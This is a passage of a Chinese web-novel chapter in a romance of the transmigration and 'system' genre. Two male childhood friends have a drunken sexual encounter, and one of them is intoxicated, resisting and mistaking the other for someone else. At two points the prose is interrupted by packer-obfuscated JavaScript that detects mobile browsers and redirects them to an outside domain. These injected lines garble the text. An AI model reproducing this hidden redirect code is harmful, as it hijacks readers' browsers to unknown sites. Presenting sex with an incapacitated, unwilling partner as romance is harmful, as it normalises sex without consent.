庄严纹丝不动。 钟情锲而不舍地拔呀拔,终于激怒坐着的人,反手一扯,自己反倒跌进他怀里。 那一瞬间天旋地转,他深刻地感觉到什么叫“酒意上头”。他想站起来,但是双脚似乎失去控制,怎么都不听使唤。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13328431|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得头越来越晕,越来越痛,已经分不清是酒精作祟,还是模型缝隙在喧宾夺主。 庄严见他终于安静下来,再次道:“跟我回去吧。” 钟情没说话,像是已经睡着了。 庄严背着这个醉鬼起身,朝马场走去,雪地在脚下嘎吱作响。 身体悬空的感觉让钟情终于清醒了一点,眼看自己就要失去阵地,赶紧挣扎:“放我下来!我要等姿寒!” 屁股被拧了一把,屈辱的回忆涌现,钟情立刻收声停止动作。 算了,还是另想办法吧。 月光把雪地照成水一样的银白色,钟情在庄严背上晃晃悠悠,迷迷糊糊中,觉得自己就像在水里游曳的鱼。 他突然问:“庄严,你为什么不想我跟姿寒结婚呢?” 庄严没有说话,自顾自往前走。 钟情便也自顾自往后说:“姿寒多好啊,长得那么好看,还那么聪明,性格又温柔又礼貌,名字也好听。” 他唠唠絮絮,林姿寒在他口中仿佛是一个完美的人,优点数之不尽。从教堂到马场,整整十公里路,一路上滔滔不绝。 进入马场的大门的时候,庄严终于忍无可忍。 “别说了。” 钟情也不想说,他已经说得口干舌燥。 但有什么办法?他痛得简直快晕了,庄严又不理他,只能自言自语转移注意力。 他负气道:“我就要说。” 他甚至还凑到庄严耳边,“姿寒这么好的人,别说和我结婚了,就是和你结婚也绰绰有余。哼,你不喜欢他,真没眼光。” 庄严呼吸变得粗重:“钟情,别乱说话。” 他们已经到了马场里的私人别墅。钟情来这里住得很勤,到处都是他生活的痕迹。 庄严将他抱到床上,然后去打水给他洗脸。 房间里的暖气驱散身体的寒意,麻木的疼痛苏醒过来,一瞬间遍布全身。 钟情痛得眼前一片模糊,仅剩的理智被身体自救的本能取代,他跌跌撞撞下床奔向门外,然后被人横臂拦住。 “放开!我要去找林姿寒!” 庄严拖着人重新回到床上,用被子裹住,给他擦脸。 “他在西北草原。你怎么去?” 钟情已经听不清他在说什么,他只觉得那根热毛巾就像砂纸一样在磨着他的脸。 他奋力挣扎着,又不住地哀求:“姿寒,我要见他,林姿寒……” 可无论他怎么求,那只手还是像铁钳一样牢牢禁锢着他。 他终于无法忍耐,一口咬在那只手上。 庄严脑中的弦崩了。 他抬起钟情的下巴,看见那张嘴上沾了血迹,就像一个第一次吸人精气的懵懂鬼魅。 他吻了上去,用的是毫不怜惜的力道。 钟情吃痛,想要挣扎。但唇齿交接时,疼痛开始慢慢减退,熟悉的舒适感将他包裹起来。 “姿寒……” 他喃喃着唤道,“你终于来了……” 宛如当头棒喝,庄严猛然清醒。 他抬头,看见钟情的双眼毫无焦距——他根本就不知道这个吻来自谁,他看向的不是他眼前的竹马,而是他一见钟情的爱人。 庄严感到荒谬至极。 “为什么?” 钟情听不清他的问话,就算听清了也无心回答。 卷土重来的疼痛让他搂紧庄严的脖颈。他细细舔吻着庄严的脸颊,寻找那个能让他舒适的地方。 终于,他找到了。 那里还有残余粒子,钟情一一舔去。他还想要更多,舔吻逐渐变成轻咬,但那张封闭的唇始终不肯对他开启。 钟情祈求着:“姿寒……” 有一滴滚烫的水珠落在他的吻上。钟情舌尖品尝到一丝咸涩,仿佛正在含吻着一只紧闭的蚌壳。 苦涩让钟情稍稍清醒了几分,他松开手,想要看清眼前的人,那只蚌却突然张开壳盖,将他拖回黑暗窒息的深海—— 在钟情身上甜蜜得令人晕眩欲醉的酒香气中,庄严带着无限的怜惜和不甘,如狂风暴雨般吻了下去。 48.第 48 章 领带一圈又一圈,缠上钟情的手腕。 缠得很紧,那一层纤薄的皮肉也被勒出几分丰腴的弧度。 大概是命中注定,这条领带就是几个月前庄严在黑暗中挑出来的最后一条,最后和一堆安全套一起,被丢弃在角落。 它最终还是缠上了这双手。 月光顺着窗户一格格爬上来,洒在这双手上,让黑与白的对比更加鲜明。黑色丝绸上的暗纹熠熠生辉,却抵不过钟情汗湿的发丝,在月色下蜿蜒成条条深邃的银河。 庄严手指插进那些黑如绸缎的发丝里,低头细细地吻着。 身下的人没有一处不美。无论是他的头发,他被吸吮得水润的红唇,还是那双茫然失神的眼睛。 庄严的手渐渐向下。 掌心下这具身体极为敏感,只是轻轻摩挲就会牵出一串颤栗。庄严吻去他眼角被逼出的眼泪,在黏腻的水声中轻声问: “钟情,我是谁?” 钟情湿润的睫毛轻颤,像飞不起来的蝶翼。 “姿寒……啊!” 疼痛让钟情心生惧意,但下一秒如同风暴般席卷而来的粒子又让他轻易就丧失反抗的意志。他只是不断地流泪,不明白为什么身上的人明明有这样多温柔可亲的粒子,行为却如此粗鲁恶劣。 他像是被方才舔吻的那枚蚌一口吞下肚子里,四周都是坚硬的壳盖,任凭怎么挣扎都是徒劳。他觉得自己在逐渐被这只大蚌同化,他在逐渐变成一团被囚禁在壳里的软肉。 有人在毫不留情地拨弄他,寻找层层软肉下的珍珠。他想要呼救,但开口就有咸涩的海水倒灌进来,苦得他说不出一个字,只能发出带着泣音的喘息。 终于有一个间隙,滚烫潮湿的怀抱消失,冷空气扑打在他的皮肤上。钟情翻身想要逃走,指尖刚触碰到毛绒地毯,便被人圈住脚踝。 一只手覆住他的喉咙,有人贴身过来,在他耳畔低低问: “我是谁?” 他来时带着无数让人沉醉的粒子,钟情被这极度幸福和极度痛苦折磨得恍惚,喃喃道: “姿寒……是姿寒……” 有人用吻封住他的嘴。一口甘甜的水尽数渡过来,缓解了身体的干渴。身后传来猛烈的撞击,钟情手指深深陷入地毯的绒毛之中。 被拖回去之前,他看见洁白的地毯上留下一个湿漉漉的手印。 不知多了多久,背后突然传来一阵冰凉。眼前一片漆黑,他只能伸手向后探去,摸到曾经他亲自挑选的木质窗格和玻璃窗户。 手腕上的领带已经被取下,蒙上了他的眼睛。 月亮已经不见了,只有窗外雪地还在反射着细小的微光。庄严握住钟情的肩胛,在很缓慢地动作中,视线越过他的肩膀看向窗外。 白茫茫一片大地,就像面前的人凭空生出两幅纯白的巨翼,就像庄严曾经在教堂天顶之上看到过的低眉垂首的天使画像。 庄严轻轻吻着天使的唇角,近乎卑微地祈求他给予自己解脱: “钟情,告诉我,我是谁?” 天使没有说话。 他已经在一片黑暗中沉沉睡去。 * 钟情是被系统的声音唤醒的。 他睁开眼,眼前模糊了好一会儿才渐渐清晰起来。身体从头到脚每个地方都酸痛无比,像是刚从深海大鱼的肚子中死里逃生。 暖气温度太高,空气中残留着一股奇异的味道,钟情闷得有点透不过气,正要伸手去拿遥控器,就看到自己手臂上一连串深深浅浅的痕迹。 他看了好一会儿才辨认出那是什么。 他大惊失色:【系统!我把主角受睡了?】 系统:【……你要不要再感受一下呢?】 钟情依言感受了一下,察觉到某个部位不可名状的异物感,腿稍一动还有撕裂般的疼痛。 他愣住了:【主角受把我睡了?】 系统无奈:【是庄严。】 【主角受把庄严睡了?】 【……】 钟情在系统沉默中终于把人名和关系对上。他勉强坐起身,看见被子下自己不着一缕的身体,和身体上密密麻麻的吻痕。 【庄严和我……】他难堪得简直不能把这句话完整地说出口,【我们?】 【是的。】 钟情颓然躺回去,满脑子都是完了。 【我和庄严……这不是□□吗!】 他盯着天花板,昨晚的回忆渐渐回笼。 酒精磨损了他的记忆,他不记得他们是如何开始的。零星的画面里,庄严似乎推开过他一次,可他没把握住这走上正道最后的寄回,仍旧缠着庄严不放。 等他后来因无力承受反悔想跑,就轮到庄严不肯放手了。 钟情幽幽开口:【统子,你不是说十分钟就回来吗?】 系统很惭愧:【补丁确实五分钟就下好了……分配者非要拉着我打麻将。这不一打就没收住嘛。】 【我恨你们。我恨麻将。我要举报你们聚众赌博。】 【你举报不了,审判者是我上家。】 钟情深沉地叹了口气。 任务出了大纰漏,打嘴仗也打不赢。他心里默默颓废了三分钟,开始思考挽救的办法。 【系统,你说你有没有什么高科技仪器能让世界线回到昨天?】 【对不起,我没有这个本事。只有进入位面世界的员工才能插手剧情。】 【那你觉得我现在能速成催眠,让庄严忘记昨天的事吗?】 【对不起,你应该也没有这个本事。】 【哎。】 钟情艰难地从床上爬起来,披上睡袍,光着脚走出房门。 他每走一步都疼得龇牙咧嘴,也不知道庄严昨晚用了多大的力气。方才穿衣服的时候他都没敢细看,依稀扫到一眼大腿内侧满是青紫掐痕,简直惨不忍睹。 钟情倚在回廊上,探头偷偷朝下看去。 楼下没人,只有厨房里传出一点动静,显然是庄严在做早餐……或者午餐。 他心中默默研究着动线,但无论怎么研究,想从这里离开,厨房是必经之地。 大概因为身上流着猎人的血,庄严听觉十分敏锐,简直不像这个充满噪音的钢筋水泥世界里泡大的人。 钟情就是健步如飞的时候,也没能在他眼皮底下跑掉过,更别提现在半身不遂。 他一瘸一拐回到房间,路过穿衣镜时看见自己被咬破的嘴角,回想起昨晚庄严施展出来的渣技术,觉得这跟被揍了一顿也没什么区别。 真是一报还一报,他之前骗庄严那么多次,庄严每次都轻轻放过,结果一晚上就全给报复回来了。 他继续回到床上躺尸,冥思苦想今后的对策。 必须要先消除这件事的严重性。 庄严习惯了对他这个多年竹马负责,一定会先把这件事全怪在自己头上。他要是认真起来,说不定会想不开和一夜风流的竹马求婚。 那这个位面的任务可就真的完了。 必须要让庄严知道他根本不在乎这种事。 钟情慢慢开口,也不知是在说服自己还是说服别人: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13343856|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【其实这只是一个意外,对吧统子?两个血气方刚的大男人,喝了那么多酒,又举止亲密,擦枪走火一下很正常,对吧?】 【呃……】 不管系统怎么想,钟情显然已经在喃喃自语中认定这是事实。 他问:【深情积分攒够了吗?】 【够了。你想干嘛?你不会要将错就错和庄严在一起吧?】系统对他上个世界一举拿下两个男主的事心有余悸,【这可不行啊!积分虽然够了,但不代表你可以违背人设。】 【放心,任务是撮合他俩相爱融合,我还没忘。我只是想到——浪子回头,不也还是浪子吗?】 【啥意思?】 【在庄严心里,从前我可是厉害到能一晚上和六个女孩酒店开房。像我这样身经百战的浪子,这种事情不是就像吃饭睡觉一样平常吗?怎么会因为不小心和兄弟睡了一觉就大惊小怪呢?】 系统隐隐觉得有些不对:【但你得对林姿寒忠心耿耿啊!】 【对他忠心耿耿,不代表要为他守身如玉吧。】钟情理直气壮,【不过是意外和其他人有一次深入的交流罢了。我完全可以在身体上到处和人保持这种深入交流,但我的心只忠于主角受。】 系统一脸震惊:【你好渣啊。】 钟情危险一笑:【过奖过奖,还不都是被麻将逼的。】 系统心虚地不再开口。 钟情又休息了会儿,再次下床。 依旧没找到鞋——大概昨晚挣扎的时候踢到床底下了,他现在不想冒着站不起来的风险蹲下去看。 光脚就光脚吧,他慢慢挪出门,看到转角处的楼梯时脸色一变,暗恨自己当初为什么没装电梯。 他嘶嘶吸着气,小步小步挪下楼,在厨房旁停下,胡乱揉捏了把脸,让接下来伪装的表情能更自然。 他走到厨房门前,曲起指骨敲了下门板。 他抱着手臂倚在门边,在庄严回头的时候,露出一个揶揄的微笑。 “技术不错啊,没少练过吧?” 庄严静静看着他,视线冷淡得像海水下的冰山。那是猎人看着猎物的眼神,看得钟情几乎毛骨悚然,怀疑自己是不是已经被看穿了。 他强撑着与庄严对视。 终于,庄严唇角一扯,回道: “第一次。天赋异禀而已。” 钟情暗暗咬牙。 说他胖他还喘上了?就这做得人差点下不来床的渣技术,还好意思说自己是天赋异禀? 庄严视线慢慢下移,停在钟情身下,语气意味不明。 “看来你也挺天赋异禀的。” 钟情知道他是在暗示自己一下床就到处乱跑的行为。 他很想再原地蹦跶一下证明自己确实天赋异禀,但他心有余而力不足,只能过过嘴瘾。 “那可不。这种事,我十项全能。” 吹牛的代价就是钟情现在真的要站不住了,他缓了口气,“饭做好了叫我,快饿死了。” 说完就强撑着步态正常地离开。 庄严目送他的背影,掌心传来刺痛,低头看去,是指甲掐出的血口。 他回想着他刚才看到的钟情。 和最好的兄弟酒后乱性,却没有丝毫后悔,也没有丝毫惭愧,当然,也没有丝毫羞赧。态度自然得就像昨晚只不过是又一次兄弟间普通的同床共枕,普通到无法在他心中留下任何痕迹。 庄严早就预料到他会这般没心没肺,但最后一丝幻想的破灭还是让他心中泛起钻心的疼痛,就像被淋了一盆辣椒水。 个王八蛋。